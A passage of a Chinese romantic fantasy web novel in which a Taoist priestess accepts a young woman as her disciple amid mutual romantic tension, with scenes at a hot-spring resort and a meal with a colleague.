她会永远陪伴她,用她无尽的寿命来怜爱她,像对待唯一的宠物。 不过分的要求她都会满足她, 一世平安无恙,对她冤魂缠身的体质来说,该是多好的一生。 多少人祈求不来的恩赐。 但她竟然想要离开她。 她在她的未来和穆若水为她规划的生活里选择了前者。 她的未来里甚至也可以没有她。 穆若水不允许,生气到想要杀了她, 看着她在自己手掌下气息越来越微弱,脸色紫涨, 额角青筋暴起, 人在求生的本能下会挣扎得丑态百出,涕泗横流, 但是她没有,反而穆若水视野模糊,渐渐看不清她的脸。 什么是眼泪? 穆若水以为现在的她已经和人类所有的情绪,尤其是脆弱的那部分彻底分割。 她竟然会为一个凡人流泪。 为什么? 穆若水想要记起点什么,但她的脑子依然一片空白。 只知道她如果死了,她一定会后悔。 后悔也是人类才有的情绪,穆若水不明白,明明不该出现的东西会因为她一次次的破例。 一株枯死百年的树,只剩一截断面惨烈的木桩,竟也能冒出一株翠绿柔嫩的新芽。 她不能死,死在自己手里也不行。 穆若水松开了手,本想一走了之再也不见,傅清微求她不要走,还关上门窗,使尽幼稚的手段挽留她。 她想要走,没有人能拦得住。 但傅清微可以。 虽然穆若水不想承认这回事。 她的眼睛多看一看她,她就不忍,她祈求时颤抖的尾音,好像要哭出来。 她柔软炽热的怀抱,紧紧环住她腰肢的手。 不要走。 和……需要你。 ——我答应你,除非死亡,任何事都不能将我们分开。 面具下的唇角上扬了一点。 “你的话太暧昧了,我和你好像没有这么深的感情。” 穆若水是在高兴,也是在自嘲。 既然她执意选了没有她的那条路,趁着彼此感情不深,不如及早抽身。 青雀不甘囿于笼中,有成为雌鹰的心,她何必阻她的道。 她会送她最后一程,助她修成想要的道,在证道的路途中,她再有什么危险,就不是自己该管的事了。 送到阁皂山,为她掌眼择一位名师,她就启程回蓬莱。 阁皂山的山脚下有间民宿,民宿的老板是只千年狐妖,外表完全不符合她的物种。 虽然不完全是同类,但穆若水来到山下这么久,第一次见到化形的妖,还是道行颇深的大妖,不由正眼多看了两眼。 老板红尘里打滚,说人间好玩,有意思。 穆若水说不觉得。 转念想起刚刚在楼上房间发生的事。 她被蒙蔽头脑,稀里糊涂地坐在沙发里和傅清微……出门在外,对方也是大胆,什么都敢往她嘴里塞,又要她舔又要她咬,到最后受不了的还是她自己。 又菜又要,啜泣的声音也很可爱。 穆若水因记忆的涌起血液微微热了一下。 人间要是一直有她,可能也有点意思。 穆若水默默赞同了老板的部分说法。 晚上傅清微做了大半夜的春梦,穆若水忍到快天亮,才把滚到她怀里的傅清微搂住,低头衔来红果,肆意施为。 终于梦里也传来难受的低泣声。 穆若水神清气爽地下楼,迎面撞见在院子里浇花的老板,穆若水大手一挥:“上茶。” 吃太久她口舌有点干。 老板一边翻白眼一边给她泡了壶茶。 穆若水边呷茶边回味截然不同的口感。 穆若水并非什么都不懂,但她还是做了,本能是一回事,放任本能是另一回事。 她真的很喜欢她身上的味道,无法抵御,从血脉里臣服她的指令;喜欢在她身旁的感觉,神魂的稳固安宁就算她再躺上一百年,也比不上在她身边的一天,一时,一分,一秒。 仿佛她的灵魂复苏,就是为了终有一日回到她的怀抱。 她的内心再一次让步。 ……继续留下来陪她也不是完全不可能。 等傅清微拜入阁皂山以后,她考察考察傅清微的表现,如果她的眼里还是只看着自己,如果对她而言她还是最重要的人,如果…… 没有如果了。 哈哈,进山的第一天,她就看上阁皂派的掌门了! 她就知道,一个人的喜新厌旧是拦不住的。 除非这个旧装了新酒,然后把瓶子也一起换了,让她发现自己有眼不识泰山!错把珍珠当鱼目! 穆若水一天挑一个长老,没一个能打的。 她当然知道傅清微心里有微词,她想拜的师父都闭关了,只剩下一个拒绝过她的自己。 自己又不想收徒。 她为什么不再问一次呢?再问一次穆若水就会松口了。 她的心在踏入阁皂山的那一刻就动摇了。 她剑指灵枢子,为的不是打败她,而是傅清微的眼睛只看向她,要她目光里的神采只为她亮起。 她根本不屑当她的最重要,她要的是唯一。 她的身边只能有她。 傅清微留在阁皂山学艺,会有敬重的师父,友善的同门,会把绝大多数精力倾斜在新的事物上,即使她仍然在意她,也不会像从前那样朝夕陪伴她。 她根骨奇佳,随着她道法精进,亦不再需要她的保护。笼中鸟会自己打开金子打造的鸟笼,一飞冲天。 青雀离笼已成既定事实,既然再无法拘于掌中,便只能伴她高飞。 她要为她择一位天下无双的师父,最好的人选莫过于她自己。 只有这样,她才能将傅清微留在她身边,永永远远。 收她为徒的想法是在击败灵枢子那一夜有的,后来的几天她都在犹豫,犹豫要不要真的和一个凡人建立如此亲密的关系。 不收徒,舍下她,重获自由,从此无牵无挂。 收徒,拥有她,让她踏入自己的世界,就此有了软肋。 ——你喜欢这种生活吗? ——喜欢。 ——如果只有我们两个人呢? ——很喜欢。 她们靠在一起看星星不说话,穆若水心甘情愿她成为自己的软肋。 对自己将要收的唯一一个徒儿,在下定决心的那一刻她就充满了期待。离计划好的时间越近,她就越感到开心。 傅清微收拾行李磨磨蹭蹭,穆若水忍不住打电话催她:“还没收拾好吗?” 傅清微:“来了。” “怎么这么慢?” “你没有行李你当然快了。”傅清微居然敢和她顶嘴。 ……越发大胆了。 但穆若水生不起来气,只觉得她不卑不亢,自己眼光真好。 差一点她就笑了,幸好肖灵秀在院子里等着,她还戴着面具,笑一笑也看不到。 傅清微顶完嘴后怕地看她,观主跟没听到似的,背手兀自往前走了。 该不会真的没听到吧? 还是自己这两天献身次数多,她吃得很满意,所以终于决定对她态度好点。 傅清微一滴都没有了,下次还不知道怎么哄她。 * 有山明月温泉别庄。 穆若水自己就是蓬莱开山立派的祖师,无需繁文缛节,收徒只要她点头,在哪都可以。 蓬莱观现在条件不好,不如这个别庄的小院。 院子里有石头垒造的温泉,水面散发出融融的白色雾气,穿堂风自开着的门掠过,穆若水端坐上首,接过傅清微奉上来的热茶,平静地开口: “跪下吧,给我磕三个响头。” 傅清微面露迟疑,没有第一时间跪下。 穆若水手一顿,将茶盏搁在一边,慢慢地说:“你不愿意?” “不是。” 傅清微退后了几步,端端正正地跪下,磕了三个响头。 “弟子……弟子傅清微愿拜穆若水为师,师父在上,请受徒儿一拜。”她双手向前交叉,额头相抵贴于手背,长拜不起。 “起来吧。” 头顶传来平淡的一声。 “是。”傅清微慢慢抬起头,坐着的女人仍然坐着,一身红衣,衣摆铺在身边,明明容貌还是那副容貌,昨夜还和她温存的人此刻却有了陌生的威严。 傅清微心隐隐下沉,有种说不出来的感觉,拜师成功的喜悦感冲淡得几乎没有。 “从今往后,你就是蓬莱观第二代弟子,也是唯一的传人。” “是。” “我会将所学全部传授于你,不要让为师失望。” “是。”傅清微喉咙滑动,吐出那个陌生的称呼,“……师父。” 穆若水嗯了声,捧起那杯热茶低头喝了一口。 傅清微发现自己还跪在地上,对现代人来说跪不是个习惯的动作,但她站起来,又会比盘腿而坐的穆若水高出太多,杵在那里怪尴尬的。 她只好悄悄调整了一下姿势,跪坐在地,勉强像是面对面交谈。 穆若水喝完了茶,从坐姿改成立姿,傅清微也连忙从地上站起来。 屋子向左是一道游廊,有屋檐有遮挡,深色的木地板擦得十分干净,脱了鞋可以在上面走路。 两人进门时鞋都脱在了屋外。 穆若水走到边缘,面向院子开阔的天地,天空蔚蓝无际,白云高天缥缈。 “清儿,过来。” 直到穆若水面带疑惑地回过头,傅清微才反应过来在叫自己,全身卷过一层细微的酥麻。 她一步一步地走过来,依命令跪在穆若水身边,不明所以。 穆若水:“与为师拜过天地。” 傅清微晕乎乎的,和女人并肩跪着,面向天地认认真真磕了三个头。 比她拜师的时候磕得还认真。 拜完以后,穆若水先她一步站了起来,走廊外的日光照进来,在傅清微仰起的视线里,几乎有些刺目的光中,面向苍天。 女人的声音自头顶传来,字字清晰,如金如玉。 穆若水面色郑重,并指为誓,一字一句:“三清在上,诸神有灵。我穆若水愿收傅清微为徒,今生今世,爱她护她,矢志不渝。如有违誓,天雷加身。” 修道者不像普通人,她们可以沟通天地,誓言也会被神明听见。既然发了誓,就形成了有制约力的契约。 如有违背,轻则心魔反噬道心破碎,重则天雷加身,修行毁于一旦。 傅清微暂时不懂誓言的力量,但穆若水用的那几个词分量重得足以让她说不出话。 自从进门以后,发生的每一步都出乎她的意料。 除了磕头,她根本不知道要做出什么反应。 傅清微干脆又朝她磕了三个头。 礼多人不怪。 穆若水扶住她的胳膊,一股宛如清风轻柔的力道将她托了起来,也阻止了她磕头的动作。 傅清微久违地站立在地面上,双脚却仿佛是软的,踩在棉花上。 “我……” 她看向已经变成了她师父的女人,不确定地征询她的意见,说:“我想休息一下,可以吗?” “当然可以。”女人温和道。 穆若水在傅清微如今的眼里散发着光芒,不知道是她为人师表的光辉,还是日光给她镀了一层柔和的光晕,她希望是后者。 一切都太不可思议了。 傅清微回到自己的卧室躺了下来。 磕头,拜天地,今生今世,矢志不渝。 这应该是拜师,不是结婚吧?怎么不是结婚呢? 她是真的拜师了吗?兜兜转转到最后还是拜了道长为师? 傅清微:【师父?】 穆若水:【[抒情版语音]可是有哪里不适?】 傅清微:“……” 她脾气暴躁的道长也没了。 到底发生了什么?! 傅清微一瞬间产生了鸵鸟心理。 虽然她曾经想拜穆若水为师,但随着相处的日益加深,她们俩在阁皂山又这样那样了好几次,她已经把人当暧昧对象了,现在好,大变师父。 给她来了个超级加辈。 师父也不是不能当心上人继续暧昧,但几千年“尊师重道”的传统植入在基因里,傅清微需要时间消化一下事实。 傅清微把脸埋进被子里,遇到困难睡大觉。 穆若水倚在凭几上喝茶赏花,一壶茶添了一次又一次的水,淡得都没味了。 日光西斜,那位去休息的新晋徒儿还没睡醒。 穆若水悄无声息来到她的房间,年轻就是睡眠好,睡了四五个小时了还在呼呼大睡。 穆若水眉心微拧,抬手搭在她的肩膀上,正要用力把她推醒,想起点什么,改成了轻拍她的手臂。 傅清微已经习惯了她暴力的动作,三下两下的根本没醒,穆若水耐着性子叫了她一分多钟:“清儿,清微。” 就在她耐心彻底告罄之前,傅清微迷迷蒙蒙地睁眼:“道长,你在嘀咕什么,跟蚊子叫似的。” 穆若水的脸不出意外地黑了。 她现在就掐死这个不懂得尊重师长的孽徒。 穆若水不轻不重地赏了她一脚,踢在她肉厚的地方。 “起来吃晚饭。” “好嘞。”傅清微一骨碌爬起来,眉开眼笑道。 她可能有点抖M,就喜欢观主冷脸。 刚刚穆若水在她耳边叫到一半她就醒了,但她不敢睁眼,生怕看到观主慈祥的笑容。 以后她幻想的时候想起来都会干掉,令人头痛。 好在穆若水保留了部分本性,没有全部被“师父”夺舍。 晚餐包含在套餐里,自助餐形式,要到餐厅去吃。穆若水戴上了她的口罩,先走一步出去,在院子门口等傅清微换好衣服。 傅清微从行李箱随便挑了一身,她的衣服不多,穆若水全都见过。 她刚出门,走到穆若水面前,对方破天荒夸了她一句:“很好看。” 傅清微就知道完啦。 还在被夺舍。 傅清微低着头:“其实你可以不夸的。”她有点害怕,观主会变了。 也不是变了她就不喜欢她,就是这样显得她们俩的师徒感太重了。 穆若水走在鹅卵石的小道上,回头说:“我是认真的,你在我心目中一直很好看。” 傅清微:“……” 一面觉得不对一面偷偷暗喜。 算了走一步看一步吧。 穆若水背过身后,傅清微揉了揉自己笑起来的脸。 两人来到餐厅,傅清微递上房卡刷了一下,门口的服务员欠身微笑:“欢迎用餐。” 穆若水第一次用自助餐,一窍不通,傅清微拿了个盘子到她手上,两个人一起行动,不是她的错觉,穆若水站得离她更近了。 以前她们俩虽然也老是在人前牵手腕,但一旦松开手,观主和她的距离会保持在安全距离和亲密距离之间,靠近她但如果傅清微不主动走近一步就碰不到她。 现在她一转身,观主就在她咫尺之间,扭头说个话的动作,要不是她戴着口罩,傅清微差点亲到她。 穆若水:“是不是离得太近了?” 傅清微平复自己的心跳:“……有一点。” 穆若水往后退了一小步:“这样呢?” 傅清微说:“可以。” 傅清微转身给她介绍菜品的时候仍然偶尔会碰到她的手臂,穆若水对此没有任何反应,还主动拿起公共夹子给她夹了一份甜品。 而且最离奇的难道不是,观主居然、打算、吃饭这件事吗? 两人坐在人少安静的地方,傅清微看着她用叉子挖了一小块慕斯送进嘴里,她不是一向只吃水果或者水和咖啡之类的饮品吗? 穆若水指着刚刚尝过的慕斯,问:“这是什么?” 傅清微收起惊讶,说了句废话:“甜品。” “噢。”穆若水笑了笑,说,“口感很特别。” “怎么突然愿意试一试了?” “阁皂山脚下那间民宿的老板,是一只千年狐妖。”穆若水忽然说了一句风马牛不相及的话。 傅清微耐心地嗯了一声。 果然是狐狸精捏。 穆若水:“我问她为什么要待在人间,她说人间很好玩,有意思。” 傅清微:“然后呢?” 穆若水慢慢地吃了一口慕斯,说:“我反驳了她,因为那时我还没有收你为徒。” 这话有点绕,傅清微理了一遍方明白。 她的意思是:因为收了她为徒,所以她觉得这个人间开始有意思了。 是这样吗? 傅清微的手悄悄按到自己的心脏位置。 穆若水放下小叉子,看向她的脸,缓慢而认真地说:“这一辈子,我都会和你在一起。你想做的任何事,我都会陪你去做。” 栖息在密林的鸟雀四下惊起,铺天盖地的风暴席卷了心脏。 被一只拳头捏紧又迸发,血液快速流过全身,后颈滚烫,捏在桌布上的指尖都微微发热。 傅清微缓了缓自己脸上的热气,说:“因为你是我师父?” “对。”女人答得很坦然,“因为我是你师父。” 只是因为这个吗? 那她们之前算什么? 傅清微再一次低下头去,她脑子很乱,不知道说什么的时候就会下意识沉默。 穆若水说:“有点甜了。” 傅清微终于找到说话的机会,说:“我去给你拿别的,对了,你还要吃吗?” 穆若水点点头:“要。” 傅清微挑了几样看上去不太甜的甜品,端了杯果汁回来。 穆若水每一样都尝了,给出了评价,傅清微记住她爱吃的两款,想必以后也有买的机会。 有三样她不喜欢的,各自只尝了一口,傅清微端过来吃掉。 她虽然做饭难吃,但也说明她不挑食这个优点。好不容易住一次这么贵的酒店,自助餐能吃多少吃多少,直到吃不下为止。 傅清微埋头苦吃回本,桌上突然多了个盘子,里面都是她刚刚多吃了几口的。 穆若水拿了瓶evian的冰镇矿泉水,拧开倒在傅清微手边的玻璃杯里。 她不爱喝饮料,更喜欢清水的口感,亲近的人才会知道。 穆若水端坐在她对面,看着她吃饭。 “还想吃什么,我去帮你拿。”穆若水不是个太温柔的人,声音也冷冷的,但她只要放慢了语速,就会自带一种清冷温柔感。 “我……”傅清微受宠若惊都不足以形容,一步登天。 她刚说了一个字,便呛咳起来。 穆若水站起来,似乎想过来帮她顺顺背,傅清微抬手制止了她:“不、不用,我很快……咳咳咳……就好了。” 穆若水把水杯递给她。 “谢谢。” “你我之间不必……” “我知道错了。”傅清微滑跪道歉,生怕她再有什么意外之举。 不是她不喜欢温柔的观主,实在是180度大转变太突然了,她新身份都没有适应,连师父都叫不出口。 傅清微:“我应该吃得差不多了,不用再拿了。” 穆若水:“水还要吗?可以带走。” 傅清微眼前一亮:“那还是拿一瓶吧。” 穆若水笑一笑,起身路过她的时候揉了揉她的脑袋。 傅清微:“……” 救、命、啊。 观主真的被“师父”夺舍了。 傅清微水足饭饱,在座位里休息,不知道怎么面对新晋的温柔师父,低头玩手机转移注意力。 实际上页面滑过的文字根本没有进脑子。 满心都是怎么办?局面怎么会变成现在这个样子? 她坐着磨蹭了快半小时,不得不站起来,和对面的观主一块回去。 夜晚的温泉别庄点了很多木雕的灯,光线故意处理得柔和昏黄,两人走在鹅卵石的小路上,傅清微心不在焉,穆若水从身后扶了她一把,低声轻柔道:“小心一点。” 傅清微慌忙将耳朵逃开她的唇,这才没有后顾之忧地涨红了。 “是。” 穆若水走在她身边,帮她看着脚下的路。 安静得只有两个人不同步的脚步声,一个沉稳,一个凌乱。 “待会儿你要陪我泡温泉吗?” 凌乱的那个步伐更乱了,傅清微长到这么大差点忘记了怎么走路,顾头不顾脚,顾脚不顾脑,差点把自己绊了一跤。 “啊,我。”终究是冲动占据了上风,傅清微说了声好,马上紧紧地闭上了嘴。 傅清微关上院门,小步跟上穆若水的步伐。 其实她不用走得那么快,穆若水就在廊下等她,蓦然回首,灯火阑珊,人影长长。 傅清微走过去,两个影子重叠在一起。 “你是不是永远都不会不告而别了?” “是。” “永远和我在一起?” “是,直到死亡将我们分开。”穆若水把她说过的话还给了她。 傅清微牵过她的手腕,却没有停止,指尖顺着手腕内侧的肌肤一直往下滑,触到她细腻柔软的掌心,第一次牵住了她的手。 “我们进去吧,师父。”她露出一个笑容。 穆若水垂眼,看向她们交握的手,无名指的指节轻微地颤了下。 “嗯。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 60-70 第61章 “待会儿你要陪我泡温泉吗?” “啊, 我。好啊。” 傅清微回想起这段对话都头皮发麻,她以消食的借口进门后就一头钻回了屋子里,逃避虽可耻但暂时管用。 前半段是好徒儿说的, 后半段是傅清微作为暗恋者答应的。 糟糕的是, 现在她俩合二为一了。 而观主还在被夺舍, 不知道什么时候恢复正常,可能这辈子都不会正常了。 千万不要啊。 她宁愿道长再凶她一千遍。 傅清微睡在铺了一层厚厚绒毛毯的地板上, 安详闭目当一条风干的咸鱼。 这座套房别院一共两个房间, 都连通客厅,穆若水正在客厅喝茶, 一点动静都会传入傅清微的耳朵。 移门被拉开的那一秒, 她就知道自己逃不过了。 为了避免自己再被温柔地拍胳膊,傅清微主动睁眼醒了过来,张了张嘴, 把称呼咽了回去。 好在穆若水没有在意, 站在门外,只温柔如水地望着她。 “你醒了。” “……” 傅清微双手撑在地面上,不着痕迹地往后退了一点。 是谁教的你这样当师傅?你说啊! 把那个人叫出来, 她要和她决斗! 傅清微颤颤巍巍地爬了起来,尽量维持住自己表情没有异样:“你以前收过徒弟吗?” “不曾。”穆若水好奇她为何有此一问,语气缓慢轻柔,“怎么了清儿?” 傅清微头皮又是一麻。 “那你最近看了什么书吗?有关师徒的。” “没有。” “那是以前看过师徒的话本子?” “……” 傅清微从她忽然的沉默里仿佛窥见了一丝真相。 还真的看过啊?为什么呢? 许久, 穆若水迟疑地摇了摇头。 “未曾。” “那你犹豫什么?”傅清微冲口而出,没有半点敬意, 可以说是逆徒冲师第一步。 “我在想。” “……” 傅清微心说:不是吧, 这样都不生气? 道长你真的变了。 穆若水转过身去往前走,不再多言, 淡声道:“随我过来。” “是。” 穆若水背对她,拉下了脸。 收徒前聪慧可爱,温柔知礼,收徒后就成了这副孽障德行! 难道自己看走眼了? 二人回到了白天的游廊,拜天地的地方。 左边不远就是用石头垒筑的温泉,因为浸了水,呈现一种深沉的黑色,白雾缭绕,仙气腾腾。 旁边露天的地方搭了个假山,十分有氛围感。 国内的温泉大部分是公共浴池,有的地方连男女池都不分。甘棠喜欢女生,只爱看美女,对于要裸露身体的地方,只接受沙滩和澡堂。傅清微微量社恐,比她的接受度更低,被她骗去澡堂搓了一次澡以后,发誓再也不去。 她晕人,尤其是不穿衣服的。 温泉私汤对女大的诱惑力也太大了。 酒店贴心地准备了两套浴衣和睡袍,端端正正地叠好放在一边,成双成对。 果然什么样的价位就有什么样的享受。 傅清微在心里选了右边那套,才记起来去看似乎要和她一起泡温泉的观主。 那岂不是要……脱衣服? 咕咚—— 傅清微艰难地咽了咽口水。 分不清是期待还是害怕。 观主对上她的视线,双臂打开,仰了仰下巴,说:“替为师更衣。” 这副眼高于顶的样子,倒是和从前有几分重合。 傅清微心脏松了松,来到她的面前,两人身高相近,她抬起眼帘也能看进女人黑玉般深邃的眼眸。 傅清微和她对视了一眼,睫毛微垂,错开视线,抬手握住了她指宽的腰带。 上次她看过穆若水怎样束上,这次低头找了一会儿腰扣的挂钩,顺利地解了下来。 过程中手不可避免地隔着衣服碰到女人的腰,软热,一触即离,不敢用手掌丈量。 穆若水淡淡:“你忘了外袍。” 傅清微抬头才“啊?”了一声,涨红了脸。 “不好意思。” 光想着解腰带去了,她披在外面的鹤氅还好好地穿着呢。 傅清微给她脱了外袍挂在衣架上,再是大红色的交领深衣,女人的脖颈也露出的越来越多,常年不见天日,她的皮肤比傅清微还要白,淡青色的血管都看得清。 她替穆若水褪下衣袖,双手从里面伸出来,薄薄的手背也有青筋的脉络。 很有力量的美感。 在傅清微的审美里,女人用力时露出的淡淡青筋是性感的代名词,否则她也不会那么热衷健身。 观主有一把天下第一的细腰,也有最强大的力量。 简直是…… 傅清微挂完衣服抹了把脸,不能再想下去了。 穆若水只剩一身雪白中衣了,傅清微目光停留在她若隐若现的精致锁骨,强迫自己偏开视线:“还要继续脱吗?” 傅清微没听到她的回答,指尖碰到她的衣领,指腹最前端擦过她锁骨细腻的皮肤,新生的雪。 穆若水听不出情绪:“可以了。” 穆若水没退,傅清微反倒后退了一步,如蒙大赦:“是。” 她差点又跪下给她磕头大拜。 不是她想跪,而是她腿软,根本不敢看穆若水的眼睛。 要是她是个古人就好了,徒弟跪一跪师傅,家常便饭。 傅清微干脆扑通坐在了地上。 穆若水迈开小腿,走入了白玉蒸腾的温泉里。 傅清微等余光彻底看不见她的小腿,才抬起头来,擦了擦自己头上的汗,温泉太热了,隔着好几米都熏到她脸上了。 穆若水坐在里面,露出肩膀及以上的部位,脸被氤氲在雾气里,说:“你不过来吗?” “啊,我。” 两个单音节成了傅清微最新的口头禅。 “马上就来。” 傅清微在地上又坐了会儿,私汤的诱惑占据了上风,池子挺大的,她们俩一起坐进去也碰不到彼此。 傅清微回房换了衣服,把自己压箱底最保守的睡衣都拿出来了。 她本来准备了一件从来没穿过的泳衣,不说三点式至少也是露背,完美展露身体曲线。之前的计划里她们俩定下拜师的事以后,傅清微白天带她在镇上逛一逛,吃一家好吃的餐厅,晚上一起泡私汤——走的是情侣约会路线,未雨绸缪。 后来她们来阁皂山的第一晚民宿,就被观主又吸又咬,两边差点不一样大,往预想的方向更进一步。 泳衣就更能派上用场了。 观主愿意脱多少她不管,她要大胆展示自己的身材。万一观主见色起意,她顺水推舟,第一次就可以解锁温泉play。 两个人天雷地火,水花四溅,哪里的水都是。 现在傅清微站在池边,扶着石头轻手轻脚地入水,心如死灰,没有溅起一点水花。 两个人泡温泉泡得像面对面面壁。 沉默,是今晚的温泉。 泡够了半小时,傅清微关了闹钟连忙出水,说:“到时间了,我……” 穆若水闭着眼,似乎睡着了。 “出去吧。” “好嘞。”傅清微的睡衣吸饱了水,沉重地出水,穿上了浴袍,回头叮嘱说,“你也别泡太久了,对身体不好。” “嗯。” 傅清微一路快步逃回了房间,砰的把移门拉上。 她背靠着门心如鼓擂,劫后余生般长长吐了口气。 穆若水眉目平静地坐在池子里,听着最后一丝动静消失。 她抬起修长的指尖,解开了中衣的系扣,一点一点地褪下,露出雪白的右肩,完美的圆弧,再是左边,仿佛美人对镜,蒙上一层柔和的色彩。 锁骨晶莹,珠光点点。 随着衣服的剥落,宛如一块蒙尘的美玉渐渐拭去尘埃。 穆若水迈步走入池子中央,漂亮的蝴蝶骨翕动,胸口的肌肤滑如凝脂,颈间滚落的水珠没入中央圆润的凹处。 仅水面以上的部分,足以看得出这具躯体的玉璧无暇。 她瞧了一眼远处紧闭的房门,放松地把自己全身都浸入了冒着热气的水里,舒服地叹出鼻音。 谁会穿着衣服泡温泉啊? * 穆若水挥手招来浴袍,在她出水的同时披在了身上,挽上腰间细细的系带。 亲肤的材质不仅舒适,吸水性还强,往日要用术法烘干的身体迅速清爽,给观主再次打开了一扇新世界的大门。 ……人类确实越来越会享受了。 穆若水赤足踩在深色的木地板,轻若无物的衣服穿在身上,一步一步朝傅清微的房间走去。 啪—— 房间里的灯忽然暗了下来。 穆若水:“?” 傅清微在黑暗里用手机给穆若水发微信:【我睡了,晚安】 一边把耳朵紧紧贴在地面听外面的动静。 脚步声来到门前,没有再近一步,而是慢慢地离开了。 几分钟后,回到房间的穆若水看到消息。 穆若水:【[抒情版语音]晚安】 傅清微:“……” 睡吧,睡着了就不会做噩梦了。 傅清微闭上眼睛,默念晚课的经文,颠倒来回地念,直到把自己催眠睡着。 朦朦胧胧间似乎有道温柔目光在注视她。 傅清微睁眼只看到一道熟悉的影子便誓死再不睁开。 来的肯定是夺舍的那个! 穆若水给她掖好了被子,伸手摸了摸她的额头,悄无声息地离开了。 傅清微的噩梦还在继续。 …… 傅清微睁眼呆呆地看着房间里的天花板,醒了好一会儿了。 这几日都是观主起得比她早,为了早点见到她,傅清微起床非常积极。 今天根本不想起。 她翻了翻聊天记录,尤其是那两条语音重听了一遍,鸡皮疙瘩起了一身,确定自己没有在做梦。 她已经无心去想要不要和变成师傅的心上人暧昧了,现在这个局势别说暧昧,观主再慈祥下去,她那点火苗都要浇灭了。 傅清微鬼鬼祟祟地拉开了移门。 穆若水正在院子里看风景,背影很美丽。 “师尊早上好。” “早上好。” “我去吃早餐了。” “需要为师陪你吗?” “不用了我去去就回。” 傅清微在十几步开外的走廊和她完成了对话,全程没有看女人的脸。 不管怎么样,师徒已成定局,她先配合着来吧,徒弟和暧昧对象总得选一头,否则她非被逼疯不可。 傅清微在餐厅接到了一个救命电话。 是占英打来的。 占英昨天已经到了阁皂山,正如大家公认的,门派根本没什么大局要主持,她回山主要是为了探望长辈,由于掌门和长老都闭关了,她也没得探望了,早上给弟子们开了个动员大会,就惦记着刚离开阁皂山的傅清微和穆观主两口子。 观主远道而来,一定要把她伺候好了。 占英:“你们计划在小镇待几天啊?” 傅清微:“明天走。” 占英:“这么快?需要我送你们去高铁站吗?” 傅清微:“需要,你有空吗?不然你今天就来吧,我请你吃饭。” 占英脑门上缓缓冒出一个问号。 放着二人世界不过,主动邀请自己这个电灯泡过去是怎么回事? 既然她都这么说了,占英只好笑眼弯弯:“好啊,我现在过去。” “恭送师叔——” 阁皂派敲锣打鼓地送走了刚呆了一晚的占师叔,肖灵秀亲自给她打开驾驶座车门。 “有空常回家看看啊占师叔,拜拜。”肖灵秀重重地摔上了车门。 “走你——” 后视镜里还能看到她手舞足蹈的身影。 占英收回视线,跟着傅清微给的导航地址,驱车往温泉小镇的方向驶去。 “师父,占科要过来一趟。”傅清微跪坐在女人面前,垂下眼看着地面。 “她来做什么?”穆若水翻着屋子里拿的书,声音明显带上不悦。 “咱们把阁皂派祸害成那样,我想请她吃个饭赔罪。”倒不算是假话。 “随你吧。” “您要陪我去吗?” “你想要为师陪你吗?” “啊,我。” 穆若水忍俊不禁地弯了弯唇。 傅清微磕绊了半天,仍犹豫不决。 “您决定就好。” “怎的与为师如此生分了?” “……” 听听你说的什么话,先照照镜子看看自己吧我的好道长! 傅清微破罐破摔抬起头:“你就说去不去吧?” 穆若水答得也很快:“去。” 傅清微累得快虚脱了,早这样多好。 召唤道长真身出现,需要漫长的前摇,短暂的出现之后,又会消失不见。 柔和的面部表情再次镶嵌在观主的脸上。 傅清微:“……” 来个人杀了她吧!就现在!完全不想活了! * 傅清微从来没有看穆若水的面具这么顺眼过。 有灵管局的人在,她都会戴上面具,更因为有外人在,她说话也正常了,根本不开口。 在傅清微眼里的滤镜又回来了,几乎喜极而泣。 傅清微握住占英的手,感动得眼泛泪花:“占科,我总算盼到你了。” 占英坐在对面,小心地将手抽回来,频频用眼神给她示意身旁的观主。 傅清微视若无睹,或者说她根本就是故意的。 她倒要看看观主是不是真的被夺舍了。 傅清微和占英两个人拉拉扯扯,当着穆若水的面,一个想抽手一个不让,来来回回摸了个遍。 周身的气温越来越低。 这一看就是吵架了拿她当炮灰来了嘛,占英后悔趟这趟浑水。 砰—— 穆若水面前的玻璃水杯炸开,水流了一桌子。 占英连忙站起来,一边叫服务员一边抽纸巾擦拭,傅清微也在帮忙,观主坐在原地一动不动,被面具遮挡了所有表情。 一切收拾完毕后。 占英两只手收在桌底点完了菜,新的水杯也端了上来。 傅清微以水代酒敬了占英一杯,赔礼道歉,然后向她说了已经拜了穆若水为师的事。 占英内心说多此一举,表面真诚道:“恭喜恭喜。” 傅清微有心请教:“占科一般怎么和岁主任相处呢?是相敬如宾还是打打闹闹。” 占英:“都不算吧,我很小的时候就拜入师父门下了,是她养育我,陪伴我长大,敬重肯定是敬重的,但是太敬重了显得有距离感。” 傅清微看了戴面具的女人一眼。 “怎么打破这种距离感呢?” 占英咬了咬喝果汁的吸管,眼神飘远了一些,不知想到了什么。 “撒娇吧。”她定了定神,说。 “谢谢。” “啊?” 工具人占英远道而来赶来吃了个饭,饭后还要充当托运行李的司机——傅清微要换酒店了,明天上午的高铁回去,晚上再住一晚温泉别庄住不起了,也划不来。 占英在车里等她们。 一进别庄,穆若水的脚步就特别快,傅清微紧赶慢赶,在她关门之前堪堪挤进了身子。 穆若水语气生硬:“去洗手。” 傅清微打开院子里的水龙头,在凉水下冲了好一会,故意没有去盥洗室用洗手液洗。 “可以了吗?”傅清微关了水龙头,问道。 “……” 观主戴着面具,朝她走了一步,仿佛下一秒她的手掌就会立刻出现在她的脖子上。 傅清微暗暗期待。 穆若水:“可以。”声音里听不出情绪色彩,像抽干了颜色的画。 傅清微:“……” 这样她都不介意了吗? 傅清微叫住她:“你给我站住!” 穆若水的身形顿了一下,连头也没回。 在酒店停车场再次接到二人的占英察觉到了气氛的诡异。 看来回去这么久,不仅没有和好反而吵得更厉害了,情侣吵架,有什么事是不能do一次解决的呢?如果不行,那就…… 自己又不是不能等。 两个人坐在后面,谁都不搭理谁。 占英从后视镜不时往后看,两人姿势都没变过,傅清微一直在用手机刷题。 观主的脸朝向窗外。 十几分钟到达高铁站附近的酒店。 占英早早下车绕到后备箱搬下了行李箱,傅清微连忙接过来道谢,穆若水的目光停留在她们俩短暂相触即分的手指上,率先步入了酒店。 她的装扮在小地方十分引人注目,酒店刚好接了一个会议,一楼大堂都是与会人员,坐着站着都是人。她一进门,所有人的目光都投了过来,窃窃私语声传入她的耳朵。 太阳穴那块的血液在躁动,冲进她的脑子。 傅清微及时从后面牵住了她的手,熟练地滑入她的掌心,将她整个人往自己身边带了带,下巴侧过来几乎靠在她的肩膀,努力让自己的气息覆盖掉周围的气味。 年轻女人的手指温暖熨帖。 穆若水在面具底下垂了垂眼。 ——可是她牵过别人的手了。 穆若水用力挣开了她的手指。 